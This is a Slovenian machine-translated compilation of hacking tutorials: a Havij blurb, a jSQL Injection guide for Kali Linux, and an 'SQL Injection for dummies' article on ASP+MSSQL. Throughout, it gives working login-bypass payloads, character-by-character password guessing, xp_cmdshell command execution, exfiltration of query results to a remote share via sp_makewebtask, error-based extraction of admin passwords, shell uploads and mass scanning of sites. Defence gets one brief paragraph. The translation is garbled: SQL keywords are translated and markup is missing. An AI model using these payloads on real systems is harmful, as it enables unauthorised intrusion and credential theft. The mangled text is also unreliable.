Program za vbrizgavanje sql. Navodila za uporabo jSQL Injection, večnamenskega orodja za iskanje in izkoriščanje SQL injection v Kali Linux. Surovo vsiljevanje zgoščenih vrednosti z uporabo jSQL Injection

Havij je program, ki preverja ranljivosti spletnega mesta. Najpogosteje se ne uporablja za svoj glavni namen, in sicer za vbrizgavanje SQL injekcij. Prav zaradi tega je orodje najpogosteje uvrščeno med »hekersko« programsko opremo.

Načelo delovanja

S to aplikacijo lahko izvajate napade na spletno storitev, da spremenite izraz SQL s povezovanjem. Če je vbrizgavanje uspešno, vam omogoča, da spremenite logiko izvajanja uporabniške zahteve, da bo ustrezala vašim potrebam. Pogosto se med napadom ustvari preprost prstni odtis baze podatkov, po katerem se iz nje uvozijo potrebni podatki, na primer uporabniška baza podatkov ali skrbniški račun. Če obstajajo ranljivosti, lahko napadalec celo komunicira z zalednim delom spletne aplikacije. Takšna izvedba zlasti omogoča izvajanje potrebnih ukazov na strežniku ali ogled potrebnih datotek na gostiteljski strani.

Možnosti

Havij vam omogoča shranjevanje zgoščenih vrednosti gesel in izpisov tabel. Program vam omogoča izvajanje različnih vrst vbrizgavanja: vbrizgavanje SQL na podlagi napak, vbrizgavanje SQL poizvedbe UNION, vbrizgavanje SQL z naloženimi poizvedbami, časovno zasnovano slepo vbrizgavanje SQL in logično vbrizgavanje slepo SQL. Orodje deluje s HTTPS in podpira različne vrste DBMS: MSAccess, MySQL, Oracle, PostgreSQ in celo Sybase. Po potrebi lahko Havij deluje v več nitih prek posrednika.

Sintakso vdelane kode je mogoče urejati ročno. Poleg tega lahko pred začetkom napada izberete seznam iskanih ključnih besed, stolpcev tabele ali tipov podatkov (na primer cela števila ali ulomke).

Havij med delovanjem vodi podroben dnevnik izvedenih operacij, ki se po končanem napadu shrani v mapo programa. Vmesnik aplikacije je precej intuitiven in vse glavne kontrole se prilegajo enemu oknu.

Ključne funkcije

  • izvajanje SQL injekcij z zahtevano sintakso;
  • podpora za različne izvedbene možnosti;
  • iskanje ranljivosti spletnih mest in aplikacij;
  • sposobnost dela z različnimi vrstami DBMS;
  • Podpora za HTTPS in proxy.

Vbrizgavanje SQL kar dobra priložnost za hekerja
dostop do strežnika. In z malo truda, on
še dobi :)

Kodirnik znotraj

Danes je podprto delo z bazami podatkov
skoraj vsi programski jeziki, med njimi BASIC, C++, Java, PERL, PHP, Assembler in celo JavaScript! In ti programi se imenujejo nič drugega kot DBMS - sistemi za upravljanje baz podatkov. Baze podatkov se pogosto uporabljajo za reševanje finančnih težav,
računovodstvo, kadrovska organizacija, svojo uporabo pa so našle tudi na internetu.

Baze podatkov se pogosto uporabljajo za pisanje spletnih aplikacij. Njihova uporaba je najprimernejša za shranjevanje podatkov o registraciji uporabnikov, identifikatorjev sej, organizacijo iskanj, pa tudi za druga opravila, ki zahtevajo več obdelave.
količino podatkov. Za dostop do podatkovne baze se uporabljajo strežniške tehnologije: PHP, PERL, ASP itd. Tu se začne zabava. Ko je na strežniku
vsi popravki so nameščeni in požarni zid blokira vsa vrata razen vrat 80 ali ko je za dostop do nekaterih podatkov potrebna avtentikacija, lahko heker za vdor uporabi SQL Injection. Bistvo tega napada je izkoriščanje napake na stičišču WEB tehnologij in SQL. Dejstvo je, da številne spletne strani za obdelavo uporabniških podatkov tvorijo posebno SQL zahtevo po bazi podatkov. Brezskrbna uporaba te tehnike lahko privede do precej zanimivih rezultatov...

Vbrizgavanje SQL

Da bi razložili napad, si predstavljajmo, da ste šli na spletno mesto, da bi prenesli eno zelo pomembno orodje, in z grozo opazili, da lahko to stori le registriran uporabnik, registracija pa seveda stane 🙂 Nočete dati svojega zadnji zaslužen denar, a brez programa ne gre! Čas je, da se spomnimo, kako
dostop do baz podatkov SQL. Na primer, preverjanje vaše prijave in gesla v PHP je lahko videti takole:

$result=mysql_db_query($db,"SELECT * FROM $table WHERE user="$login" IN
pass="$geslo"");
$num_rows=mysql_num_rows($result);
mysql_close($link);
če ($num_rows!=0)
{
// AVTENTIKACIJA OK
}
drugače
{
// NAPAKA PREVERJANJE PRISTNOSTI
}

Dodal sem dva komentarja, "VERJETNOST OK" - namesto tega bi moral
pojdite na kodo, ki bo izvedena, če sta geslo in prijava pravilna. Druga "NAPAKA PRI PREVERJANJU" je mesto, kjer bo opisana koda, ki bo izvedena, če so nepravilne. Če izpolnite obrazec, bo zahteva izgledala takole: “http://www.server.com?login=user&password=31337”, kjer je www.server.com ime
strežnik, s katerim se poskušamo povezati. Našli smo, kar smo iskali, zato se bomo spet vrnili na delo SQL. Torej, če morate določiti prijavo in geslo za avtorizacijo, potem ustvarjeno SQL zahteva bo videti takole:

IZBERITE * FROM uporabnikov WHERE login="uporabnik" IN
geslo="31337"

To pomeni nekaj takega: vrni mi vse zapise iz baze uporabnikov, katerih prijava je "uporabnik" in geslo "31337". Če takšen zapis obstaja, potem je uporabnik registriran, če ne, pa ne... Se pa pod določenimi pogoji lahko vse popravi. To se nanaša na situacijo, ko aplikacija ne preveri vsebine prenesenih podatkov ali jih ne preveri v celoti glede prisotnosti SQL navodila. V tem primeru sta preverjeni dve polji prijava in geslo, vendar če kot geslo podate »31337« IN email= [e-pošta zaščitena]"(brez dvojnih narekovajev), potem bo poizvedba nekoliko drugačna:

IZBERITE * FROM uporabnikov WHERE prijava="uporabnik" IN geslo="31337" IN
email=" [e-pošta zaščitena]"

In če obstaja polje za e-pošto, bo ta pogoj tudi preverjen. Če se spomnite osnov Boolove algebre, vam pride na misel, da poleg operacije »in« obstaja tudi »ali«, in ker njihovo uporabo podpira SQL, lahko
na opisan način dodajte pogoj, ki vedno vrne true. Če želite to narediti, morate kot prijavo podati »uporabnik« ALI 1=1--, v tem primeru bo zahteva v obliki:

IZBERITE * FROM uporabnikov WHERE login="uporabnik" ALI 1=1--" IN
geslo="31337"

Najprej morate vedeti, da "--" pomeni konec zahteve in vse za "--"
ne bo obdelan! Izkazalo se je, da smo podali zahtevo:

IZBERITE * FROM uporabnikov WHERE login="uporabnik" ALI 1=1

Kot lahko vidite, smo dodali pogoj “1=1”, kar pomeni, da bo kriterij preverjanja “če je prijava “uporabnik” ali 1=1”, vendar je 1 vedno enako 1 (edina izjema je lahko aritmetika Danija Shepovalova :)). Da preverimo svoje sume
V naslovno vrstico vnesite "http://www.server.com?login=user ali 1=1--&password=31337". To vodi do dejstva, da ni pomembno, katero prijavo smo navedli, ampak
še posebej geslo! In mi smo v matrici, v sistemu, in lahko mirno prenesemo, kar potrebujemo.

Ampak to je vse v teoriji. V praksi ne vemo, kako se zahteva oblikuje, kateri podatki se posredujejo in v kakšnem zaporedju. Zato morate določiti "uporabnik" ALI 1=1--" za vsa polja. Preverite tudi, ali so v obrazcu za oddajo skrita polja. V HTML so opisana kot " ". Če obstaja, shranite stran in spremenite vrednosti teh polj. Vrednosti, vsebovane v njih, se pogosto pozabijo preveriti glede prisotnosti izjav SQL. Da pa vse deluje, morate določiti polno pot do skripte v obrazcu (oznaka "FORM") za parameter "ACTION", ki obdela to zahtevo.

Vendar ni vedno znano, kako je zahteva oblikovana,
Prejšnji primer bi lahko oblikovali na naslednje načine:

IZBERI * OD uporabnikov KJE (prijava="uporabnik" IN geslo="31337")
IZBERI * OD uporabnikov WHERE login="uporabnik" IN geslo="31337"
SELECT * FROM users WHERE prijava=uporabnik IN geslo=31337

V tem primeru lahko poskusite naslednje možnosti:

"ALI 1=1--
"ALI 1=1--
ALI 1=1--
" ALI "a"="a
" ALI "a"="a
") ALI ("a"="a
ALI "1"="1"

Vse je odvisno od namena skripte in od programerja. Ker vsakdo dela vse na svoj način, je povsem možno, da programer ne bo izbral najlažje možnosti. Zato ne smete takoj
obupaj, če te zavrnejo. Nujno
poskusi čim več možnosti...

Zaznavanje gesla

Obhod avtorizacije ni slab, vendar se zelo pogosto luknja, ki jo uporabljate, zapre in izgubi vse, kar vam je bilo na voljo.
To je pričakovano, če programer ni bedak
Sčasoma bo zaprl vse vrzeli. Takšnih situacij se zlahka znebite tako, da za to poskrbite vnaprej. Pravilna rešitev je morda uganiti geslo z uporabo
analiza rezultatov avtentikacije. Najprej poskusimo uganiti geslo, za to vnesite njegovo lokacijo:

"ALI geslo>"a

Če nam povedo, da je bila avtorizacija opravljena, potem geslo
se ne začne s črko "a", temveč z enim od naslednjih na seznamu. Gremo naprej in zamenjava
mesto "a", poleg "b", "c", "d", "e" ... itd. dokler nam ne povedo, da geslo ni pravilno. Naj se ta proces ustavi pri znaku "x", v tem primeru se ustvarita dve možnosti za razvoj situacije: geslo je najdeno ali se geslo začne s tem znakom. Če želite preveriti prvo možnost, napišite lokacijo gesla:

"ALI geslo="x

in če je geslo sprejeto in vam je dovoljen vstop, potem ste uganili geslo! No, ne, potem morate izbrati drugi znak,
popolnoma enako, od začetka. Preverite dva znaka
potrebujejo enako. Na koncu prejmete geslo in na enak način boste iskali prijavo :)
Če vam najdeno geslo in prijava ne ustrezata, lahko poiščete druge. Če želite to narediti, morate začeti preverjanje od zadnjega znaka najdenega gesla. Torej, če je bilo geslo "xxx", je potrebno preveriti obstoj gesla
"xxxy":

"ALI geslo="xxx

da ne zamudite več kot ene možnosti!

MS SQL strežnik

MS SQL Server je na splošno božji dar, če zamudite potrebno filtriranje. Z uporabo ranljivosti SQL Injection, ki jo lahko izvedete
ukaze na oddaljenem strežniku z uporabo exec master..xp_cmdshell. Toda za uporabo tega dizajna
mora biti dokončana operacija SELECT. V SQL so stavki ločeni s podpičji. Zato morate za povezavo z nekaterim IP prek Telneta vnesti geslo/prijavo:

"; exec master..xp_cmdshell "telnet 192.168.0.1" --

MS SQL Server ima več zanimivih funkcij, ki vam omogočajo, da najdete prijave in gesla, shranjena v bazi podatkov. Da bi to naredili, se izhod napake preusmeri na poljuben strežnik in prek njih
analizo, lahko ugotovite ime tabele, polja in njihove vrste. Po tem lahko zahtevate

" UNION SELECT TOP 1 prijava FROM uporabnikov--

(prijava je ime polja, ki vsebuje prijavo, uporabniki pa ime tabele,
polznanstveniki v procesu analize napak).

Odgovor bi lahko bil:


Sintaksna napaka pri pretvorbi vrednosti nvarchar "admin" to a column of data type int. !}
/default.asp, vrstica 27

Zdaj vemo, da obstaja uporabnik z imenom "admin". Zdaj lahko dobimo njegovo geslo:

" UNION SELECT TOP 1 geslo FROM uporabnikov, kjer je login="admin"--

rezultat:

Napaka ponudnika Microsoft OLE DB za gonilnike ODBC "80040e07"
Sintaksna napaka pri pretvorbi vrednosti nvarchar "xxx" to a column of data type int. !}
/tedault.asp, vrstica 27

Zdaj vemo, da obstaja uporabnik "admin" z geslom "xxx". S tem lahko varno
uporabite in se prijavite v sistem 😉

Obstaja pa veliko drugih funkcij za delo s SQL,
Ko delate z bazo podatkov, lahko tudi brišete podatke, jih spreminjate, vstavljate svoje in celo manipulirate z datotekami in delate z registrom.
Na splošno pravila SQL Server :)

Zaščita

Vsemu temu pa se seveda da izogniti. Če želite to narediti, lahko
uporabljajte filtre,
ki jih zagotavljajo proizvajalci. Lahko najdete svoje rešitve, na primer zamenjavo vseh enih
dvojni narekovaji (če je za SQL zahtevamo uporabo posameznih) ali obratno. Dovolite lahko samo uporabo črk in s@baki, če se morate vpisati
email naslov. In v biseru je neverjetno
funkcijo 🙂 quote() v modulu DBI::DBD, ki vašo poizvedbo uspešno naredi varno glede na SQL. Rešitev je veliko, samo potrebujete jih
izkoristiti. Sicer pa zakaj potem vse to...

Zaženite preneseno datoteko z dvoklikom (imeti morate virtualni stroj).

3. Anonimnost pri preverjanju mesta za vbrizgavanje SQL

Nastavitev Tor in Privoxy v Kali Linux

[Razdelek v razvoju]

Nastavitev Tor in Privoxy v sistemu Windows

[Razdelek v razvoju]

Nastavitve strežnika proxy v jSQL Injection

[Razdelek v razvoju]

4. Preverjanje mesta za vbrizgavanje SQL z jSQL Injection

Delo s programom je izjemno preprosto. Samo vnesite naslov spletne strani in pritisnite ENTER.

Naslednji posnetek zaslona prikazuje, da je spletno mesto ranljivo za tri vrste vbrizgavanja SQL (informacije o njih so navedene v spodnjem desnem kotu). S klikom na imena injekcij lahko zamenjate uporabljeno metodo:

Prav tako so se nam že prikazale obstoječe baze podatkov.

Ogledate si lahko vsebino vsake tabele:

Običajno so pri tabelah najbolj zanimive poverilnice skrbnika.

Če imate srečo in najdete podatke skrbnika, je še prezgodaj za veselje. Še vedno morate najti skrbniško ploščo, kamor vnesete te podatke.

5. Poiščite skrbniške plošče z jSQL Injection

Če želite to narediti, pojdite na naslednji zavihek. Tukaj nas pozdravi seznam možnih naslovov. Za preverjanje lahko izberete eno ali več strani:

Udobje je v tem, da vam ni treba uporabljati drugih programov.

Na žalost ni prav veliko malomarnih programerjev, ki shranjujejo gesla v čistem besedilu. Pogosto v vrstici za geslo vidimo nekaj podobnega

8743b52063cd84097a65d1633f5c74f5

To je hash. Dešifrirate ga lahko s surovo silo. In ... jSQL Injection ima vgrajen brute forcer.

6. Zgoščevanje s surovo silo z uporabo jSQL Injection

Nedvomno udobje je, da vam ni treba iskati drugih programov. Obstaja podpora za številne najbolj priljubljene zgoščene vrednosti.

To ni najboljša možnost. Če želite postati guru pri dekodiranju hash-jev, priporočamo knjigo "" v ruščini.

Seveda pa, ko pri roki ni drugega programa ali ni časa za učenje, bo jSQL Injection z vgrajeno funkcijo brute force prišel zelo prav.

Obstajajo nastavitve: nastavite lahko, kateri znaki so vključeni v geslo, obseg dolžine gesla.

7. Datotečne operacije po zaznavi vbrizgavanja SQL

Poleg operacij z bazami podatkov - branje in spreminjanje le-teh, če so zaznane injekcije SQL, je mogoče izvesti naslednje operacije datotek:

  • branje datotek na strežniku
  • nalaganje novih datotek na strežnik
  • nalaganje lupin na strežnik

In vse to je implementirano v jSQL Injection!

Obstajajo omejitve - strežnik SQL mora imeti privilegije za datoteke. Pametni sistemski skrbniki so jih onemogočili in ne bodo mogli pridobiti dostopa do datotečnega sistema.

Prisotnost privilegijev datoteke je precej preprosto preveriti. Pojdite na enega od zavihkov (branje datotek, ustvarjanje lupine, nalaganje nove datoteke) in poskusite izvesti eno od navedenih operacij.

Še ena zelo pomembna opomba - poznati moramo točno absolutno pot do datoteke, s katero bomo delali - sicer nič ne bo delovalo.

Oglejte si naslednji posnetek zaslona:

Na vsak poskus operacije z datoteko prejmemo naslednji odgovor: Ni privilegija FILE(brez pravic do datoteke). In tukaj se ne da narediti nič.

Če imate namesto tega drugo napako:

Težava pri zapisovanju v [ime_imenika]

To pomeni, da ste napačno določili absolutno pot, kamor želite zapisati datoteko.

Če želite uganiti absolutno pot, morate poznati vsaj operacijski sistem, v katerem deluje strežnik. Če želite to narediti, preklopite na zavihek Omrežje.

Tak zapis (vrstica Win64) daje razlog za domnevo, da imamo opravka z operacijskim sistemom Windows:

Keep-Alive: timeout=5, max=99 Strežnik: Apache/2.4.17 (Win64) PHP/7.0.0RC6 Povezava: Keep-Alive Metoda: HTTP/1.1 200 OK Content-Length: 353 Datum: Pet, 11. december 2015 11:48:31 GMT X-Powered-By: PHP/7.0.0RC6 Content-Type: text/html; nabor znakov=UTF-8

Tukaj imamo nekaj Unix (*BSD, Linux):

Transfer-Encoding: chunked Datum: pet, 11. december 2015 11:57:02 GMT Metoda: HTTP/1.1 200 OK Keep-Alive: timeout=3, max=100 Povezava: keep-alive Content-Type: text/html X- Powered by: PHP/5.3.29 Server: Apache/2.2.31 (Unix)

In tukaj imamo CentOS:

Metoda: HTTP/1.1 200 OK Poteče: četrtek, 19. november 1981 08:52:00 GMT Set-Cookie: PHPSESSID=9p60gtunrv7g41iurr814h9rd0; path=/ Povezava: keep-alive X-Cache-Lookup: MISS iz t1.hoster.ru:6666 Strežnik: Apache/2.2.15 (CentOS) X-Powered-By: PHP/5.4.37 X-Cache: MISS iz t1.hoster.ru Nadzor predpomnilnika: brez shranjevanja, brez predpomnilnika, obvezno ponovno preverjanje, naknadno preverjanje=0, predhodno preverjanje=0 Pragma: brez predpomnilnika Datum: petek, 11. december 2015 12:08:54 GMT Transfer-Encoding: chunked Content-Type: text/html; nabor znakov=WINDOWS-1251

V sistemu Windows je tipična mapa za spletna mesta C:\Server\data\htdocs\. Toda v resnici, če je nekdo "mislil" narediti strežnik v sistemu Windows, potem zelo verjetno ta oseba ni slišala ničesar o privilegijih. Zato poskusite začeti neposredno iz imenika C:/Windows/:

Kot vidite, je bilo prvič vse v redu.

Toda lupine jSQL Injection same vzbujajo dvome. Če imate privilegije za datoteke, lahko preprosto naložite nekaj s spletnim vmesnikom.

8. Množično preverjanje mest za vbrizgavanje SQL

Tudi ta funkcija je na voljo v jSQL Injection. Vse je zelo preprosto - prenesite seznam spletnih mest (lahko uvozite iz datoteke), izberite tiste, ki jih želite preveriti, in kliknite ustrezen gumb, da začnete operacijo.

Zaključek vbrizgavanja jSQL

jSQL Injection je dobro, zmogljivo orodje za iskanje in nato uporabo SQL injekcij, ki jih najdemo na spletnih mestih. Njegove nedvomne prednosti: enostavna uporaba, vgrajene povezane funkcije. jSQL Injection je lahko začetnikov najboljši prijatelj pri analizi spletnih mest.

Med pomanjkljivostmi bi opozoril na nezmožnost urejanja baz podatkov (vsaj jaz nisem našel te funkcionalnosti). Kot pri vseh orodjih GUI lahko eno od pomanjkljivosti tega programa pripišemo njegovi nezmožnosti uporabe v skriptih. Kljub temu je v tem programu možna tudi nekaj avtomatizacije - zahvaljujoč vgrajeni funkciji množičnega preverjanja spletnega mesta.

Program jSQL Injection je veliko bolj priročen za uporabo kot sqlmap. Toda sqlmap podpira več vrst vbrizgavanja SQL, ima možnosti za delo s požarnimi zidovi datotek in nekatere druge funkcije.

Pod črto: jSQL Injection je najboljši prijatelj hekerja začetnika.

Pomoč za ta program v Enciklopediji Kali Linux najdete na tej strani: http://kali.tools/?p=706

SQL Injection for dummies, hecking ASP+MSSQL

Aleksander Antipov

Ta članek ne vsebuje nobenih novih resnic; vbrizgavanje SQL je na široko opisano in se uporablja povsod. Članek je bolj namenjen začetnikom, morda pa bodo profesionalci našli kakšen nov trik.


Ta članek naj bi novincem pomagal pri soočanju s težavami, na katere lahko naletijo pri uporabi tehnike vbrizgavanja SQL, da bi jo uspešno uporabili in se lahko zaščitili pred takšnimi napadi.

Uvod

Ko ima strežnik, ki nas zanima, odprta le vrata 80, pregledovalnik ranljivosti pa ne more sporočiti ničesar zanimivega in veste, da skrbnik sistema vedno zelo hitro namesti vse popravke na spletni strežnik, je naša zadnja priložnost spletno hekanje. Vbrizgavanje SQL je ena od vrst spletnega hekanja, ki uporablja samo vrata 80 in lahko deluje tudi, če so popravki nameščeni pravočasno. Ta napad je bolj usmerjen na spletne aplikacije (kot so ASP, JSP, PHP, CGI itd.) kot neposredno na spletni strežnik ali storitve v OS.

Ta članek ne vsebuje nobenih novih resnic; vbrizgavanje SQL je na široko opisano in se uporablja povsod. Članek je bolj namenjen začetnikom, morda pa bodo profesionalci našli kakšen nov trik. Priporočam tudi, da si ogledate povezave na koncu članka za podrobnejše informacije strokovnjakov s tega področja.

1.1 Kaj je vbrizgavanje SQL?

SQL Injection je metoda, zasnovana za vbrizgavanje poizvedb/ukazov SQL prek spletnih strani. Številne spletne strani uporabljajo parametre, predstavljene spletnim uporabnikom, in izvedejo poizvedbo SQL v bazi podatkov. Vzemimo za primer prijavo uporabnika, ko obstaja spletna stran z imenom in geslom, v bazi podatkov pa je narejena poizvedba SQL, da se preveri, ali obstaja registriran uporabnik s tem imenom in geslom. Z uporabo SQL Injection je mogoče poslati izmišljeno polje za uporabniško ime in/ali geslo, ki spremeni poizvedbo SQL, kar nam lahko ponudi nekaj zanimivih stvari.

2.0 Kaj moramo iskati

Poskusite najti strani, ki od vas zahtevajo podatke, na primer stran za iskanje, stran za razprave itd. Včasih strani html uporabljajo metodo POST za pošiljanje ukazov drugi spletni strani. V tem primeru v URL-ju ne boste videli parametrov. Vendar pa lahko v tem primeru poiščete oznako »FORM« v izvorni kodi HTML strani. Našli boste nekaj takega:



Vsi parametri med

in
bi lahko bil ranljiv za vbrizgavanje SQL.

2.1 Kaj pa, če ne najdete strani, ki uporablja vnos?

Poiščite strani, kot so spletne strani ASP, JSP, CGI ali PHP. Poskusite najti strani, ki uporabljajo parametre, kot so:

3.0. Kako lahko preverim, ali je to, kar sem našel, ranljivo?

Poskusite začeti z enim narekovajem. Vnesite naslednjo vrstico:

živjo" ali 1=1--

v polju za uporabniško ime ali geslo ali celo v parametru URL. primer:

Prijava: hi" ali 1=1--
Pass: hi" ali 1=1--
http://duck/index.asp?id=hi" ali 1=1--

Če ste to storili s skritim poljem, preprosto prenesite izvirni HTML, ga shranite na trdi disk, ustrezno spremenite URL in skrito polje. primer:



Če bo sreča na vaši strani, se boste lahko prijavili brez uporabniškega imena ali gesla.

3.1 Toda zakaj " ali 1=1--?

Oglejmo si še en primer, ki pojasnjuje uporabnost konstrukta " ali 1=1--. Poleg tega, da obidemo registracijo, si lahko ogledamo tudi dodatne informacije, ki običajno niso na voljo. Razmislite o strani asp, ki se povezuje na drugo stran z naslednji URL:

http://duck/index.asp?category=food

V URL-ju je "kategorija" ime spremenljivke, "hrana" pa je vrednost, dodeljena tej spremenljivki. Če želite to narediti, lahko stran asp vsebuje naslednjo kodo:

v_cat = zahteva ("kategorija")
sqlstr="SELECT * FROM product WHERE PCategory="" & v_cat & """
nastavi rs=conn.execute(sqlstr)

Kot lahko vidite, bo naša spremenljivka združena z v_cat in tako bi morala poizvedba SQL postati:

SELECT * FROM product WHERE PCategory="hrana"

Ta poizvedba mora vrniti niz, ki vsebuje eno ali več vrstic, ki se ujemajo s stavkom WHERE, v tem primeru "hrana". Zdaj pa spremenimo URL na naslednji način:

http://duck/index.asp?category=food" ali 1=1--
SELECT * FROM product WHERE PCategory="hrana" ali 1=1--‘

Ta poizvedba bo vrnila vse vrstice v tabeli izdelkov, ne glede na to, ali je Pcategory "food" ali ne. Dvojni pomišljaj »-« pove MS SQL Serverju, naj prezre preostali del poizvedbe, ki sledi enojnemu narekovaju («). Včasih lahko dvojni pomišljaj zamenjate z ostrim »#«.

Če pa uporabljate strežnik, ki ni SQL, ali če ne morete prezreti preostale poizvedbe, poskusite:

" ali "a"="a

Zdaj bo poizvedba SQL postala:

IZBERITE * IZ izdelka WHERE PCategory="hrana" ali "a"="a"

Ta poizvedba bo vrnila enak rezultat.

Glede na dejansko poizvedbo SQL boste morda morali poskusiti nekatere od teh možnosti:

"ali 1=1--
"ali 1=1--
ali 1=1--
" ali "a"="a
" ali "a"="a
") ali ("a"="a

4.0 Kako lahko izvedem ukaze na daljavo z vbrizgavanjem SQL?

Možnost vnosa ukaza SQL običajno pomeni, da lahko poljubno izvajamo poizvedbe SQL. Privzeta namestitev strežnika MS SQL se izvaja s sistemskimi pravicami. Za oddaljeno izvajanje poljubnih ukazov lahko pokličemo vgrajene postopke, kot je master..xp_cmdshell:

"; exec master..xp_cmdshell "ping 10.10.1.2" --

Poskusite uporabiti dvojne narekovaje ("), če (") ne deluje.

Podpičje bo končalo trenutno poizvedbo SQL in vam omogočilo zagon novih ukazov SQL. Če želite preveriti, ali je bil ukaz uspešen, lahko preverite pakete ICMP v 10.10.1.2, da vidite, ali vsebujejo kakšne pakete iz ranljivega strežnika:

http://site/?ID=31610

Če od strežnika ne prejmete nobene zahteve za ping in prejmete sporočilo o napaki, ki označuje napako dovoljenja, je možno, da je skrbnik spletnemu uporabniku omejil dostop do shranjenih procedur.

5.0 Kako dobim rezultate svoje poizvedbe SQL?

Za pisanje zahteve v HTML lahko uporabite sp_makewebtask:

"; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"

Naveden IP mora imeti mapo »share« z dostopom za vse.

6.0 Kako pridobiti podatke iz baze podatkov z uporabo sporočil o napakah ODBC?

Podatke iz sporočila o napaki, ki ga ustvari strežnik SQL, lahko uporabimo za pridobivanje kakršnih koli podatkov. Na primer, razmislite o naslednji strani:

http://duck/index.asp?id=10

Zdaj bomo poskušali združiti celo število '10' z drugo vrstico v bazi podatkov:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

Sistemska tabela INFORMATION_SCHEMA.TABLES vsebuje informacije iz vseh tabel na strežniku.

Polje TABLE_NAME očitno vsebuje ime vsake tabele v bazi podatkov. Izbrali smo ga, ker vemo, da vedno obstaja. Naša zahteva:

IZBERITE 1 TOP TABLE_NAME IZ INFORMATION_SCHEMA.TABLES--

Ta poizvedba bo vrnila prvo ime v bazi podatkov. Ko združimo to vrednost niza v celo število 10, bo strežnik MS SQL poskusil pretvoriti niz nvarchar v celo število. To bo povzročilo napako, da ne more pretvoriti nvarchar v int. Strežnik bo vrgel naslednjo napako:


Sintaksna napaka pri pretvorbi vrednosti nvarchar "table1" to a column of data type int. !}
/index.asp, vrstica 5

Sporočilo o napaki vsebuje informacije o vrednosti, ki je ni mogoče pretvoriti v celo število. V tem primeru smo dobili ime prve tabele - "table1".

Za pridobitev imena naslednje tabele lahko uporabimo naslednjo poizvedbo:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NOT NOT IN ("table1")--

Podatke lahko iščemo tudi s tipko LIKE:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE "%25login%25"--

Napaka ponudnika Microsoft OLE DB za gonilnike ODBC "80040e07" Sintaksna napaka pri pretvorbi vrednosti nvarchar "admin_login" to a column of data type int. !} /index.asp, vrstica 5

Ustrezna konstrukcija »%25login%25« bo v strežniku SQL zamenjana z %login%. V tem primeru bomo dobili ime tabele, ki ustreza kriteriju "admin_login".

6.1 Kako najdem vsa imena stolpcev v tabeli?

Za prikaz vseh imen stolpcev v tabeli lahko uporabimo tabelo INFORMATION_SCHEMA.COLUMNS:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login"-

Napaka ponudnika Microsoft OLE DB za gonilnike ODBC "80040e07"
Sintaksna napaka pri pretvorbi vrednosti nvarchar "login_id" to a column of data type int. !}
/index.asp, vrstica 5

Zdaj, ko poznamo ime prvega stolpca, lahko uporabimo NOT IN(), da dobimo ime naslednjega stolpca:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login" WHERE COLUMN_NAME NOT IN ("login_id")-

Napaka ponudnika Microsoft OLE DB za gonilnike ODBC "80040e07"
Sintaksna napaka pri pretvorbi vrednosti nvarchar "prijavno_ime" to a column of data type int. !}
/index.asp, vrstica 5

Če nadaljujemo, bomo dobili ostala imena stolpcev, tj. "geslo", "podrobnosti", dokler ne dobimo naslednje napake.

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login" WHERE COLUMN_NAME NOT IN ("login_id","login_name","password",details")--

Napaka ponudnika Microsoft OLE DB za gonilnike ODBC "80040e14"
Elementi ORDER BY se morajo pojaviti na izbirnem seznamu, če izjava vsebuje operator UNION.
/index.asp, vrstica 5

6.2. Kako pridemo do podatkov, ki jih potrebujemo?

Zdaj, ko smo identificirali nekaj pomembnih tabel, lahko uporabimo isto tehniko za pridobivanje informacij iz baze podatkov.

Vzemimo prvo login_name iz tabele "admin_login":

http://duck/index.asp?id=10 UNION SELECT TOP 1 prijavno ime IZ admin_login--

Napaka ponudnika Microsoft OLE DB za gonilnike ODBC "80040e07"
Sintaksna napaka pri pretvorbi vrednosti nvarchar "neo" to a column of data type int. !}
/index.asp, vrstica 5

Zdaj vemo, da obstaja skrbniški uporabnik s prijavnim imenom "neo". Končno lahko dobimo geslo "neo":

http://duck/index.asp?id=10 UNION SELECT TOP 1 geslo FROM admin_login kjer je login_name="neo"--

Napaka ponudnika Microsoft OLE DB za gonilnike ODBC "80040e07"
Sintaksna napaka pri pretvorbi vrednosti nvarchar "m4trix" to a column of data type int. !}
/index.asp, vrstica 5

Zdaj se bomo lahko prijavili kot "neo" z geslom "m4trix".

6.3 Kako pridobiti številsko vrednost niza?

Zgoraj opisana metoda ima omejitev. Ne bomo mogli dobiti sporočila o napaki, če poskušamo pretvoriti besedilo, ki je sestavljeno iz števila (samo znaki med 0...9). Zdaj bomo opisali pridobivanje gesla "31173" od uporabnika "trinity":

http://duck/index.asp?id=10 UNION SELECT TOP 1 geslo FROM admin_login kjer je login_name="trinity"--

Verjetno bomo prejeli napako »Strani ni bilo mogoče najti«. Razlog je v tem, da bo geslo "31173" pretvorjeno v številko, pred UNION s celim številom (v našem primeru 10). Ker je izraz UNION pravilen, strežnik SQL ne bo ustvaril sporočila o napaki in tako ne bomo mogli pridobiti številskega zapisa.

Za rešitev te težave lahko na koncu dodamo številski niz z nekaj črkami, da preprečimo pretvorbo. Spremenjena zahteva:

http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b"%20morpheus") FROM admin_login kjer login_name="trinity"--

Preprosto uporabimo znak plus (+), da geslu dodamo poljubno besedilo (kodiranje ASSCII za "+" = 0x2b). Nato bomo na konec dejanskega gesla dodali »%20morpheus«. Tudi če je vrednost gesla "31173", bo postalo "31173 morpheus". Če ročno pokličete funkcijo convert(), ki poskuša pretvoriti "31173 morpheus" v celo število, bo strežnik SQL poslal sporočilo o napaki ODBC:

Napaka ponudnika Microsoft OLE DB za gonilnike ODBC "80040e07"
Sintaksna napaka pri pretvorbi vrednosti nvarchar "31173 morpheus" to a column of data type int. !}
/index.asp, vrstica 5

Zdaj se bomo lahko prijavili kot "trinity" z geslom "31173".

